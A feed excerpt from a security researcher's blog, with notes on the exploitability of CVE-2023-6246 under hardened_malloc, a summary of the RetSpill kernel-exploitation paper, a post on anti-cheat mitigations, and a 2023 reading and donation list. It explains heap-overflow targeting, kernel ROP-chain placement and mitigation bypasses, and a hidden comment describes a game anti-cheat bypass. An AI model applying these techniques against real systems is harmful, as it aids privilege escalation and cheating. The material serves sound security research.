<span class="mi">214</span><span class="w"> </span><span class="n">SYSLOG_HEADER</span><span class="w"> </span><span class="p">(</span><span class="n">pri</span><span class="p">,</span><span class="w"> </span><span class="n">timestamp</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">msgoff</span><span class="p">,</span><span class="w"> </span><span class="n">pid</span><span class="p">));</span>
<span class="p">...</span>
<span class="mi">221</span><span class="w"> </span><span class="n">__vsnprintf_internal</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">l</span><span class="p">,</span><span class="w"> </span><span class="n">bufsize</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">fmt</span><span class="p">,</span><span class="w"> </span><span class="n">apc</span><span class="p">,</span>
<span class="mi">222</span><span class="w"> </span><span class="n">mode_flags</span><span class="p">);</span>
</code></pre></div>
<p>the tl;dr is that <code>bufsize</code> is <code>0</code> while <code>l</code> is user-controlled.
As mentioned in the advisory, messing with nss structures as done
in their (phenomenal) <a href="https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt"><code>Baron Samedit</code> sudo
exploit</a>
is a good way to get a root shell on the glibc.</p>
<p>While the bug is in glibc's <code>syslog</code>, it's not unheard of for
people to run custom allocators for performance/security/speed/… reasons.
One of those could be, for example, <a href="https://github.com/GrapheneOS/hardened_malloc">hardened_malloc</a>,
<a href="https://grapheneos.org">GrapheneOS</a>'s security-focused allocator, raising
the question "would <code>hardened_malloc</code> make this particular bug
unexploitable on my x86_64 Debian machine?"</p>
<p>After discussing this with friends, we don't <em>think</em> that it makes
the bug completely unexploitable, but ridiculously complicated, which is good
enough™ for me. But keep in mind that this "analysis" was done hastily at 2am,
so caveat lector.</p>
<p><code>hardened_malloc</code> uses size-based slabs isolation, popularised by
<a href="https://chromium.googlesource.com/chromium/src/+/master/base/allocator/partition_allocator/PartitionAlloc.md">PartitionAlloc</a>.
Since <code>bufsize</code> is zero, this is a 1-byte
allocation, falling into the
<a href="https://github.com/GrapheneOS/hardened_malloc/blob/main/h_malloc.c#L147">16 bytes size-class</a>,
the smallest after the special <code>0</code> one. So to exploit this, one would have to find an
interesting object of size 16 bytes or lower to overwrite. But since
canaries are enabled by default, this becomes even more difficult: sizes of
allocations are actually bumped by 8 bytes, meaning that one would actually
have to find an interesting object of size 8 bytes or lower.</p>
<p>Moreover, 16-byte slabs can contain at most 256 allocations, and are
surrounded by guard pages, meaning that accessing anything below <code>buf</code> and
above <code>buf+(256*16)</code> will result in a crash.</p>
<p>Allocations are randomized, which might help for bruteforcing the heap layout:
if the current one isn't exploitable, just crash and start again. But it will
also result in a lot more crashes, since <code>buf</code> might be allocated closer to
the guard page.</p>
<p>There are of course other mitigations, but they aren't relevant in this
particular case, like canaries that are checked on <code>free</code>,
or <a href="https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/enhanced-security-through-mte">ARM's MTE</a> that completely kills linear-overflows.</p>
<p>Given the ludicrous amount of randomization <code>hardened_malloc</code> applies to heap bases (32G
per region), bruteforcing offsets of anything not on the heap is futile.
So one would have to find something interesting in an object of 8 bytes or less on
the heap, like a path to corrupt as in <code>service_user</code>,
or some partial-overwrite of a function-pointer to call a
<a href="https://david942j.blogspot.com/2017/02/project-one-gadget-in-glibc.html">one-shot-gadget</a>, …</p>
<p>Thanks to <code>strcat</code> for the handholding, and
to <code>jdoe</code>, <code>drvink</code> and <code>J</code> for their diligent proofreading,</p>jvoisinWed, 31 Jan 2024 02:00:00 +0100tag:dustri.org,2024-01-31:/b/musings-on-cve-2023-6246-on-hardened_malloc.htmlsecurityPaper notes: RetSpillhttps://dustri.org/b/paper-notes-retspill.html<ul>
<li>Full title: RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections</li>
<li>PDF: <a href="https://dl.acm.org/doi/10.1145/3576915.3623220">ACM</a> —
<a href="https://kylebot.net/papers/retspill.pdf">mirror</a> —
<a href="https://dustri.org/b/files/papers/retspill.pdf">local mirror</a></li>
<li>Authors: <a href="https://kylebot.net/">Kyle "kylebot" Zeng</a>,
<a href="https://ruoyuwang.me/">Ruoyu Wang</a>,
<a href="https://yancomm.net/">Yan Shoshitaishvili</a>,
and <a href="https://adamdoupe.com/">Adam Doupé</a> from <a href="https://shellphish.net/">Shellphish</a>,
along with <a href="https://zplin.me/">Zhenpeng Lin</a>,
<a href="https://www-users.cse.umn.edu/~kjlu/">Kangjie Lu</a>,
<a href="http://xinyuxing.org/">Xinyu Xing</a> and
<a href="https://www.tiffanybao.com/">Tiffany Bao</a>.</li>
</ul>
<p>The idea of the paper is to use user-controlled data that are by design copied
in kernel-land when exercising syscalls to store a <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">ROP</a>-chain, via 4 main venues:</p>
<ul>
<li>Valid Data directly copied onto the kernel stack for performance reasons, like when
calling <code>poll</code>;</li>
<li>Preserved Registers, restored upon returning from kernel-land to
userland. </li>
<li>Calling Convention compliant functions will save/restore registers, and
apparently, system call handlers are calling convention compliant
even though the kernel is already taking care of those,
and syscalls can <a href="https://www.kernel.org/doc/html/latest/process/adding-syscalls.html?highlight=syscall_define#do-not-call-system-calls-in-the-kernel">only be called from userland</a>.
But even if the syscalls handles weren't compliant, registers still contain
userland values when they're called, and sub-functions might store/restore
those registers, since those do need to be compliant.</li>
<li>Uninitialized Memory, since the per-thread kernel stack is reused between syscalls,
and not erased (unless <code>PAX_MEMORY_STACKLEAK</code> is used).</li>
</ul>
<p>Then, only a <a href="https://en.wikipedia.org/wiki/KASLR">KASLR</a> leak,
a CFHP (control-flow hijacking primitive)
and a <code>add rsp, X; ret</code>-like gadget are required to <a href="https://www.youtube.com/watch?v=FoUWHfh733Y">ROP all the things</a>.
Nowadays, most™ CFHP are created by corrupting the heap to hijack function
pointers, and since every kernel thread shares the same heap,
once it is is properly shaped, the control flow hijacking primitive can likely
be triggered again and again from a different threads.
Moreover, changing the exploit is simply a matter of re-invoking a syscall with
different data spill, instead of having to reshape the heap every single time.
One doesn't have to worry about crashes (enabling lame bruteforcing), since no
major Linux distributions (except CentOS, kudos) has <code>panic_on_oops</code> enabled,
so having a ROP-chain crash is no big deal, because the CFHP is still on the
heap, one syscall away.</p>
<p>Since the space afforded to store gadgets might be too small, one trick is to
invoke <code>do_task_dead</code> at the end of every ROP-chain to terminate it gracefully,
and trigger the CFHP again and again.</p>
<p>Mitigation-wise: </p>
<ul>
<li><a href="https://en.wikipedia.org/wiki/Control_register#SMEP">SMEP</a>,
<a href="https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention">SMAP</a> and
<a href="https://en.wikipedia.org/wiki/Kernel_page-table_isolation">KPTI</a> are irrelevant.</li>
<li><a href="https://pax.grsecurity.net/docs/randkstack.txt">RANDKSTACK</a> mitigates data spillage from Preserved Registers and Uninitialized Memory,
but since it only provides 5 bits of randomness, a <code>ret</code>-sled is enough
to bypass it (25.44% of the time if using gadgets from Preserved Registers or Uninitialized Memory, 100% otherwise),
and in the absence of <code>panic_on_oops</code> it can quickly be bruteforced anyway.</li>
<li><a href="https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Sanitize_kernel_stack">STACKLEAK</a>,
<a href="https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Forcibly_initialize_local_variables_copied_to_userland">STRUCTLEAK</a>,
and <a href="https://lwn.net/Articles/823152/">CONFIG_INIT_STACK_*</a>
only mitigate data spillage from Uninitialized Memory.</li>
<li><a href="https://lwn.net/Articles/824307/">FG-KASLR</a> is <a href="https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/#gathering-useful-gadgets">useless</a>
since it doesn't randomize everything, leaving a couple (<code>42631</code> according to
the paper) of gadgets at position-invariant positions, which are enough to perform
arbitrary-reads and derandomize everything.</li>
<li><a href="https://lore.kernel.org/lkml/202210010918.4918F847C4@keescook/T/#u">KCFI</a>
and <a href="https://www.intel.com/content/www/us/en/developer/articles/technical/technical-look-control-flow-enforcement-technology.html">IBT</a>
also (currently) don't cover everything, but don't really matter much here
anyway, since we only care about backward-edges, and as for the CFHP:</li>
<li>There <a href="https://i.blackhat.com/USA-22/Wednesday/US-22-Jin-Monitoring-Surveillance-Vendors.pdf#page=35">are ways</a>
to obtain one in the presence of perfect forward-edge CFI with a heap corruption.</li>
<li>Using <code>__x86_indirect_thunk_rdi</code> allows to transform a forward-edge control-flow transition to backward edge one.</li>
<li>Shadow stack and perfect CFI are a pipe dream that would mitigate RetSpill,
but <a href="https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf">PaX' RAP</a>
is really close to it, likely making it insanely hard, with its type-based
CFI, and its changing-on-every-syscall/task/… register-stored cookie paired
with unreadable kernel stacks for backward edge, on top of CFI.</li>
</ul>
<p>To showcase how cool all of this is, the paper comes with a semi-automated tool
outputting the address of a stack-shifting gadget, a function to performs data
spillage, invoke the triggering system call, and yield a root shell via a
classic <code>commit_creds(init_cred)</code> + returning back to user space. It works by:</p>
<ul>
<li>taking full snapshots of a vm to locate the syscall leading to CFHP by using
a binary-search-like heuristic;</li>
<li>mutating userland inputs (registers, <code>copy\_from\_user</code>/<code>get\_user</code>
parameters, …), continuing the execution of the vm,
marking the as user-controllable data if the CFHP still
happens after modifications, and doing taint analysis to find how to modify
them.</li>
<li>generating a ROP-chain, which isn't that easy, given that:</li>
<li>it's done over discrete controlled regions</li>
<li>there are some constraints, like "<code>eax</code> contains the syscall number",
or "<code>edx</code> comes from both <em>Saved Registers</em> and <em>Calling Convention</em>
spillages.</li>
</ul>
<p>Of course, given that some authors are <a href="https://angr.io/">angr</a> developers,
<a href="https://github.com/angr/angrop">angrop</a> was used to knit the ROP-chains, and
the results are pretty impressive:</p>
<blockquote>
<p>The abundance of data spillage allows 20 out of 22 proof-of-concept programs
that manifest CFHP to be semi-automatically turned into full privilege escalation exploits.</p>
</blockquote>
<p>To kill this technique, the authors suggest:</p>
<ol>
<li><em>Preserved Register</em>: <code>RANDKSTACK</code> helps, but storing userspace registers
somewhere else than on the stack would be even better, eg. in <code>task_struct</code>.</li>
<li><em>Uninitialized Memory</em>: enable <code>STACKLEAK</code>/<code>STRUCTLEAK</code>/<code>CONFIG\_INIT\_STACK\_\*</code>,
but the performances impact is pretty steep.</li>
<li><em>Calling Convention</em> and <em>Valid Data</em>: an improved version of <code>RANDKSTACK</code>,
adding a random offset at the bottom of each stack frame, between <code>rsp</code> and user data.
This technique also mitigates Preserved Registers and Uninitialized Memory,
with an average performance overhead of 0.61%.</li>
</ol>
<p>Like all good papers it comes <a href="https://github.com/sefcom/RetSpill">with code</a>.</p>
<p>Amusingly:</p>
<ul>
<li>RetSpill completely bypasses OpenBSD's
<a href="https://isopenbsdsecu.re/mitigations/map_stack/">MAP_STACK</a> mitigation,
should it ever be implemented in kernel-land, </li>
<li>The <a href="https://org.anize.rs/">Organizers</a> CTF team
<a href="https://org.anize.rs/0CTF-2021-finals/pwn/kernote">used</a>
the <a href="https://elixir.bootlin.com/linux/latest/ident/pt_regs"><code>ptregs</code></a> structure
to store their ROP chain for <a href="https://ctftime.org/event/1357">0CTF/TCTF 2021
Finals</a>'s
<a href="https://ctftime.org/task/17461">Kernote</a> pwn challenge.</li>
</ul>jvoisinThu, 18 Jan 2024 16:45:00 +0100tag:dustri.org,2024-01-18:/b/paper-notes-retspill.htmlpaper_notesOn non-technical video-games cheat mitigationshttps://dustri.org/b/on-non-technical-video-games-cheat-mitigations.html<p>Cheats are as old as video games, and will be there as long. There
are a couple of high-profile players in the anti-cheat market today:
<a href="https://en.wikipedia.org/wiki/BattlEye">BattlEye</a>,
<a href="https://en.wikipedia.org/wiki/Valve_Anti-Cheat">Valve's VAC</a>,
<a href="https://en.wikipedia.org/wiki/PunkBuster">PunkBuster</a>,
<a href="https://easy.ac/en-us/">Epic's EAC</a>,
<a href="https://wowpedia.fandom.com/wiki/Warden_(software)">Blizzard's Warden</a>,
<a href="https://support-valorant.riotgames.com/hc/en-us/articles/360046160933-What-is-Vanguard-">Riot's Vanguard</a>,
<a href="https://callofduty.com/en/warzone/ricochet">Activision's Ricochet</a>,
… as well as in-house ones.</p>
<p>To try to keep up in the race, both sides are resorting to more and more invasive
technical privacy-invasive measures: streaming virtualised shellcodes,
hardware fingerprinting and locking,
<a href="https://secret.club/2020/01/05/battleye-stack-walking.html">stack-walking</a>,
bootkit-like kernel drivers,
<a href="https://en.wikipedia.org/wiki/Trusted_Platform_Module">TPM</a>/
secure boot/
<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard">HVCI</a>/
<a href="https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit">IOMMU</a>/
<a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a>/…
<a href="https://support-valorant.riotgames.com/hc/en-us/articles/22291331362067-Vanguard-Restrictions">shenanigans</a>,
hypervisors <a href="https://secret.club/2020/04/13/how-anti-cheats-detect-system-emulation.html">detection</a>/usage,
<a href="https://secret.club/2020/03/31/battleye-developer-tracking.html">exfiltration of suspicious materials</a>,
external <a href="https://en.wikipedia.org/wiki/Direct_memory_access">DMA</a> hardware,
or other <a href="https://dustri.org/b/paper-notes-reversing-anti-cheats-detection-generation-cycle-with-configurable-hallucinations.html">more exotic things</a>.</p>
<p>Yet anti-cheats are still routinely bypassed, less in a public manner, granted, but private
and closed-community cheats are still flourishing, since it's a losing game by
nature. And since games and anti-cheats are software, they're of course riddled
with <a href="https://vice.com/en/article/d7y5wj/street-fighter-v-rootkit">hilarious</a> bugs leading to
<a href="https://unknowncheats.me/forum/anti-cheat-bypass/614682-eac-dll-loading-method-eac-forcer.html">stupid</a>
<a href="https://unknowncheats.me/forum/anti-cheat-bypass/503052-easy-anti-cheat-kernel-packet-fucker.html">bypasses</a>.</p>
<p>But this isn't what this blogpost is about. Nowadays, cheats are considered as
part of a larger problem: abuses and toxicity. Cheats aren't (only) hunted down
because they're morally questionable, but because they disturb the way the game is meant to be
enjoyed. Toxic and abusive behaviours lead to the very same results:
A game that isn't fun to play because of cheating/abuse/toxicity issues will see its
players number decrease, have poor reviews, … and won't make money. I'm sure
there is a parallel to be made about the current state of our society, but I
digress.</p>
<p>For this article, we'll consider cheating and abuse/toxicity
as a single issue under the term <em>abuse</em>.
Now, because abuse isn't a purely technical issue, but also a social one, it
can't be solved by technical solutions only, so let's have
a look at what non-technical mitigations game developers are
coming up with to curb this issue.</p>
<p>The most obvious mitigation is to make cheating expensive, money wise.
Having to pay 60EUR for a game is a steep investment, especially if one
has to buy it again every time they get banned. This of course doesn't
apply for free-to-play games, but can be emulated by having a cosmetics
ecosystem, either to pay for, or to grind. The other expensive thing when
playing video games is the hardware, and bans can be tied to it.</p>
<h2>Global measures</h2>
<p>The <em>big</em> mitigation at this level is reputation systems. They're based on
people who know best how a fun and fair game should go: players. After a
match, they're encouraged to cast votes on how fair it was, on a match level,
but also directly at players level: "Bob was really looking out for others",
"Bob was a team player", and so on. For negative behaviour, reports don't have
to wait the end of the match, players can report
cheating, being offensive in the text/voice chat, <a href="https://en.wikipedia.org/wiki/Griefer">griefing</a>,
queue dodging, <a href="https://www.urbandictionary.com/define.php?term=smurfing">smurfing</a>, …
Of course, slanderous reports are penalised.</p>
<p>Peer pressure is a good lever too, by taking action not only against cheaters,
but from people benefiting from the cheat, like regular teammates.</p>
<p><a href="https://en.wikipedia.org/wiki/Bug_bounty_program">Bug bounty programs</a> are now commonplace,
so it's only logical that there are now <a href="https://hackerone.com/riot">some</a>
rewarding anti-cheat bypasses/exploits. The rewards are a bit cheap for now,
but will likely rise up as the programs mature. The positive effects are
multiples:</p>
<ol>
<li>It increases the incentives to report issues to get them fixed: a player
finding a glitch/exploit can now get some cash for the discovery</li>
<li>As more abuse vectors are killed, the reward prices will rise, and it might
become more profitable to report bugs than to sell them to cheat providers.
This isn't unheard of, with <a href="https://google.github.io/security-research/kernelctf/rules.html">Google's
kernelCTF</a>
paying two times more than Zerodium.</li>
<li>If the bug bounty program is correctly managed, the probability of getting a
given amount of money for reporting an issue will be higher than using it in
a cheat for an unknown period of time until it gets fixed.</li>
<li>It will likely increase the amount of people looking for issues and willing
to report them.</li>
</ol>
<p>Community managers can also regularly <s>spread <a href="https://en.wikipedia.org/wiki/Fear,_uncertainty,_and_doubt">FUD</a></s>
post updates about ban waves, anti-cheat measures, reports, … to make it
clear that abusive behaviours are something being taken care of,
and a dangerous gamble for players to take part in. I think
I have seen some people spending time proving that some cheaters streaming live
were in fact recycled pre-recorded footage from an earlier version of game,
because some of the game details have been updated in the meantime.</p>
<h2>Accounts-level measures</h2>
<p>Some game stores, like <a href="https://en.wikipedia.org/wiki/Steam_(service)">Steam</a>,
have an account-level "cheater" mark, meaning that if someone gets banned from a game for cheating,
other games can know about it. But more importantly,
<a href="https://en.wikipedia.org/wiki/Achievement_(video_games)">achievements</a>
and cosmetics are also tied to an account, and as mentioned previously,
those are non-zero time and/or money investments. Getting banned means losing
them. This of course only deters opportunistic cheaters,
as people can simply create other accounts to cheat, but this can be made
harder via purely technical means.</p>
<p>Most <em>competitive</em> online games have ranked and casual game modes, with the
former being only accessible after having spent a certain amount of time in the
latter one. Meaning that one has to do it again every time they get banned,
or <a href="https://en.wikipedia.org/wiki/Boosting_(video_games)">pay someone to do it</a>.
Some studios are even making player go through more hoops to be able to play, like requiring
<a href="https://en.wikipedia.org/wiki/Multi-factor_authentication">MFA</a>,
or playing a couple of matches against <a href="https://en.wikipedia.org/wiki/Video_game_bot">bots</a>
branded as a tutorial, before being able to play with other people. There is a
course a fine balance to keep to annoy abusers but not legitimate players.</p>
<h2>Player-level measures</h2>
<p>The goal of non-technical measures isn't to make it impossible to be abusive,
but to make it not worth it. Moreover, issuing instahwpermabans to <a href="https://en.wikipedia.org/wiki/Edgelord">edgelords</a>
seems a tad heavy-handed, so having a large panel of measures against abuser makes sense:
one might want to allow people to rectify their behaviour, to isolate them to
cool down, and so on. It might include textual warnings, temporary bans, kick
from the current game, chat/voice mute, losing access to ranked play,
reducing the amount of earned experience points, …</p>
<p>Players are abusive for various reasons, but I'd argue that most do because
it's fun. Ruining the fun for them is thus a good way to curb such behaviours.
A simple way to do this is to make them play together, by grouping players
by reputation, or by having servers with technical anti-cheat measures
explicitly disabled. But there are even more creative measures,
like <a href="https://www.callofduty.com/en/blog/2023/11/call-of-duty-ricochet-anti-cheat-modern-warfare-III-progress-report">disabling their parachute</a>,
reducing their damage output to ridiculous levels, taking away their weapons,
<a href="https://www.callofduty.com/blog/2023/06/call-of-duty-ricochet-anti-cheat-season-04-update">making other legitimate players invisible to them</a>,
randomly drop some of their inputs,
<a href="https://dustri.org/b/paper-notes-reversing-anti-cheats-detection-generation-cycle-with-configurable-hallucinations.html">hallucinations</a>, … and
while this costs a bit more engineering time than simply grouping them
together, it has a couple of high-value returns on investment:
- allowing game developers to spend more time collecting data on how cheats are working on a technical level,
- reducing the impact cheaters have on a game make is possible to
significantly defer banning them without impacting other players too much,
making it harder for cheat makers to pinpoint how and why a cheat was
detected.
- it's absolutely hilarious</p>
<h2>Examples</h2>
<h3><a href="https://en.wikipedia.org/wiki/Tom_Clancy's_Rainbow_Six_Siege">Rainbow Six Siege</a></h3>
<ul>
<li>It uses BattlEye, and in end-2022 early 2023 banned around
<a href="https://ubisoft.com/en-us/game/rainbow-six/siege/news-updates/2g7hT2NNuOqrj35RfgsFxN/anticheat-status-update-march-2023">5000</a>
accounts per month, which is a lot, but also shows that it doesn't deter
cheaters.</li>
<li>The game costs <a href="https://store.steampowered.com/app/359550/Tom_Clancys_Rainbow_Six_Siege/">$8</a>,
but if you want to have access to all the operators, it's $70. One can also
unlock operators by playing, which takes several hundreds of hours.</li>
<li>To play ranked, one need to reach <a href="https://ubisoft.com/en-gb/game/rainbow-six/siege/news-updates/4hShcX2HZTG2ttIi3IIN9Y/matchmaking-rating">level 50</a>,
which takes around 50h, give or takes.</li>
<li>The game has a rich ecosystem of cosmetics
than can be <a href="https://store.ubisoft.com/us/dlc-type-skins-cosmetics">purchased for steep prices</a>,
and painstakingly earned by playing,
that would be lost in cast of an account ban.</li>
<li>Friendly fire will result in the damages being applied to the shoot
should it be reported as voluntary by the player at the receiving end.</li>
<li>It's developing a pretty involved <a href="https://ubisoft.com/en-gb/game/rainbow-six/siege/news-updates/22JLMFeayzuamhb7YKbAjm/reputation-system-activation-more">reputation system</a>,
where people with a "positive" behaviour gets rewarded (more experience
points, cosmetics, …), while those with a "negative" one
might be prevented from playing <em>ranked</em>,
get less experience points,
…</li>
</ul>
<h3><a href="https://en.wikipedia.org/wiki/Call_of_Duty:_Modern_Warfare_II_(2022_video_game)">Call of Duty: Modern Warfare II</a>:</h3>
<ul>
<li>The game costs <a href="https://store.steampowered.com/app/1962660/Call_of_Duty_Modern_Warfare_II/">$70</a>.</li>
<li><a href="https://callofduty.com/blog/2023/02/call-of-duty-modern-warfare-II-ranked-play-features-challenges-rewards">"Players must be at least Level 16 to access Ranked Play"</a>,
but this can be done in a couple of hours.</li>
<li>Cheating results in account-wise permaban across all Call of Duty titles.</li>
<li>Banned accounts have their records purged from leaderboards.</li>
<li>Players engaging in "negative" behaviours might get
muted on chat/voice, … and interestingly, cheaters
are going to get paired with other cheaters in matchmaking.
<a href="https://support.activision.com/articles/call-of-duty-security-and-enforcement-policy">Players who are often playing with the same cheaters</a> (boosting),
will also get their reputation tanked.</li>
</ul>
<h3><a href="https://playvalorant.com/">Valorant</a></h3>
<p>Its developer even published a
<a href="https://playvalorant.com/en-us/news/tags/game-health-series/">great series of blopost</a> on
what it calls "game health"</p>
<ul>
<li>The game is free-to-play, but comes with <em>a lot</em> of <a href="https://valorantstrike.com/valorant-store/">cosmetics</a>.</li>
<li>Cheaters get a permaban, but people benefiting from them might get a 6 months one as well.</li>
<li>Players joining games and <a href="https://playvalorant.com/en-gb/news/dev/valorant-behavior-detection-and-penalty-updates/">idling to reap out experience points</a>,
doing nothing but kneecapping their team will <a href="https://playvalorant.com/en-us/news/dev/valorant-systems-health-series-afk/">get penalised</a>.</li>
<li>Players are encouraged to report toxic behaviours, and to not engage,
since engagement might be penalized as well</li>
<li>Players using,
<a href="https://support-valorant.riotgames.com/hc/en-us/articles/360044791253-Inappropriate-In-Game-Names">certain words</a>
whether in chat or as username,
will be flagged as toxic.</li>
<li>Penalties come in various size, shapes and durations, allowing to fine tune
according to behaviour: warnings, voice/chat restrictions,
reduction in experience points
gain, reduction in raked rating, increased queue waiting time, ranking game
ban, global ban.</li>
<li>Valorant <a href="https://playvalorant.com/en-us/news/dev/valorant-systems-health-series-smurf-detection/">published</a>
their approach to mitigate smurfing; acknowledging that while having multiple accounts
to smurf/trade/evade bans/… is not desirable, some people are using
them to to play with friends with a better/worse ranked level.
So while they took measures to detect and mitigate having multi-accounts,
they also relaxed the maximum ranks difference for players to play together,
which significantly reduced the number of alt-accounts usage,
but also didn't alter match fairness in a measurable way.</li>
</ul>
<h2>Conclusion</h2>
<p>This is all nice and dandy, but is it working? According to
data from <a href="https://www.ubisoft.com/en-us/game/rainbow-six/siege/player-protection">Rainbow Six Siege</a>:
<a href="https://playvalorant.com/en-us/news/tags/game-health-series/">Valorant</a>,
<a href="https://www.callofduty.com/blog/2023/06/call-of-duty-ricochet-anti-cheat-season-04-update">Call of Duty: Modern Warfare 2</a>,
… those measures are indeed working pretty well,
and are likely providing better results than technical-only
measures. They are also cheaper, since steering people away from toxic
behaviours doesn't reduce the number of players as much as banning them
outright. It's nice to see that the video game industry realised that cheating and
abuses/toxicity could be addressed in similar non-technical ways, and that both
approaches are complementary. This is a stark contrast to other ones,
where techno-solutionism is seen at the only possible remedy, even more so
in our machine-learning-all-the-things era. </p>
<h2>Sources and resources</h2>
<ul>
<li><a href="https://youtube.com/watch?v=hI7V60r7Jco">Anti-Cheat for Multiplayer Games</a></li>
<li><a href="https://secret.club/">Secret Club</a></li>
<li><a href="https://unknowncheats.me/">UnKnoWnCheaTs</a></li>
</ul>
<!--
Steam's VAC was already doing basic stuff, like hashing the entire code region of the game on launch, storing the hash, and then re-hashing the code region every few minutes to see if someone had changed the code, presumably to install a trampoline and hook into the game's functions (to write aimbots, wallhacks, etc). When a hash change is detected, the player is banned.
Cheaters found a way to bypass this by simply finding the function they desired to hook and setting any random function pointer within it to 0 (stored in rw memory, so doesn't trigger the code region hash mentioned above). This would trigger an exception, which the cheat developer would catch with Windows' SEH/VEH, effectively giving them a hook into the function without having to modify the code region.
Activision's anti-cheat would then go through a bunch of function pointers (the ones in network/rendering functions mostly, since that's where you'd want to hook to write cheats) and check for null pointers. If a pointer was null, they'd ban you.
Funny enough, this was incredibly easy to bypass: just set the pointer to 1, or 2, or 3, or ...!! All of these addresses are most likely still invalid and they'll still trigger an exception, even though they're theoretically valid pointers, giving you a de-facto hook into the game that bypassed both VAC and BO2's anticheat, and was pretty much unpatchable. Perhaps that's why they started being annoying and banning people for running IDA, Cheat Engine, etc., which are certainly probable indicators but definitely not hard evidence for cheats.
-->jvoisinFri, 12 Jan 2024 20:15:00 +0100tag:dustri.org,2024-01-12:/b/on-non-technical-video-games-cheat-mitigations.htmlgames2023 in retrospecthttps://dustri.org/b/2023-in-retrospect.html<p>In 2023, I did, amongst other things:</p>
<ul>
<li>Donated some money:<ul>
<li>$400 to <a href="https://fsfe.org/">FSFE</a></li>
<li>$5000 to <a href="https://noyb.eu">NOYB</a></li>
<li>$5000 to <a href="https://riseup.net">Riseup</a></li>
<li>$5000 to the <a href="https://archive.org">Internet Archive</a></li>
<li>$5000 to the <a href="https://en.wikipedia.org/wiki/Planned_Parenthood">Planned Parenthood Federation of America</a></li>
<li>$1000 to <a href="https://daysforgirls.org">days for girls</a>, on the advice of <a href="https://foreignbystander.com/">chik</a> from <a href="https://darkscience.net">darkscience</a>.</li>
<li>$200 each, as a <a href="https://opensource.googleblog.com/search/label/peer%20bonus">Open Source Peer Bonus</a>, courtesy of Google, to<ul>
<li><a href="https://github.com/richfelker/">Rich Felker</a> for their work on <a href="https://musl.libc.org">musl</a>.</li>
<li><a href="https://mxxn.io/">Blaž Hrastnik</a> for their work on <a href="https://helix-editor.com">Helix</a>.</li>
<li><a href="https://github.com/justinmk">Justin Keyes</a> for their work on <a href="https://neovim.io">Neovim</a>.</li>
<li><a href="https://github.com/jeanas">Jean Abou-Samra</a> for their work on <a href="https://pygments.org">Pygments</a>.</li>
</ul>
</li>
</ul>
</li>
<li>Read a couple of books:<ul>
<li><a href="https://en.wikipedia.org/wiki/The_Killer_(comics)">Le tueur</a></li>
<li>Some <a href="https://en.wikipedia.org/wiki/Warhammer_40,000">Warhammer 40,000</a>:<ul>
<li><a href="https://wh40k.lexicanum.com/wiki/Sons_of_the_Hydra_(Novel)">Sons of the Hydra</a>, neat.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/Dark_Imperium_(Anthology)">Dark Imperium (Anthology)</a></li>
<li><a href="https://wh40k.lexicanum.com/wiki/Shroud_of_Night_(Novel)">Shroud of Night</a>, forgettable.</li>
<li>The <a href="https://wh40k.lexicanum.com/wiki/Black_Legion_(Novel_Series)">Black Legion</a> duology, solid.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/Renegades:_Harrowmaster_(Novel)">Renegades: Harrowmaster</a>, witty.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/Assassinorum:_Kingmaker_(Novel)">Assassinorum: Kingmaker</a>, decent.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/Night_Lords_(Novel_Series)">Night Lords: The Omnibus</a>, outstanding.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/The_Deacon_of_Wounds_(Novel)">The Deacon of Wounds</a> great writing style.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/Assassinorum:_Execution_Force_(Novel)">Assassinorum: Execution force</a>, forgettable.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/The_Infinite_and_the_Divine_(Novel)">The Infinite and the Divine</a>, highly entertaining.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/The_End_and_the_Death:_Volume_I_(Novel)">The End and the Death vol. 1</a>, a <em>teensy</em> bit over the top.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/The_End_and_the_Death:_Volume_II_(Novel)">The End and the Death vol. 2</a>, almost there, almost there, ...</li>
<li><a href="https://wh40k.lexicanum.com/wiki/The_Macharian_Crusade_(Novel_Series)">The Macharian Crusade Omnibus</a>, a writing style a tad heavy.</li>
<li>The <a href="https://wh40k.lexicanum.com/wiki/Dark_Imperium_(Novel_Series)">Dark Imperium</a> trilogy, nice to see the setting moving forward!</li>
<li>The first 5 tomes of the <a href="https://wh40k.lexicanum.com/wiki/Dawn_of_Fire_(Novel_Series)">Dawn of Fire</a> heptalogy, definitely a series of books.</li>
<li><a href="https://wh40k.lexicanum.com/wiki/The_Lion:_Son_of_the_Forest_(Novel)">The Lion: Son of the Forest</a>, I've seen Dragon Balls episodes with a quicker pace.</li>
<li>Finished the <a href="https://wh40k.lexicanum.com/wiki/The_Beast_Arises_(Novel_Series)">Beast Arises</a>
dodecalogy. The last chapter of the final book deserved a book on its own,
instead of being speedrunned in ~30 pages.</li>
</ul>
</li>
<li><a href="https://en.wikipedia.org/wiki/It%27s_OK_to_Be_Angry_About_Capitalism">It's OK to Be Angry About Capitalism</a></li>
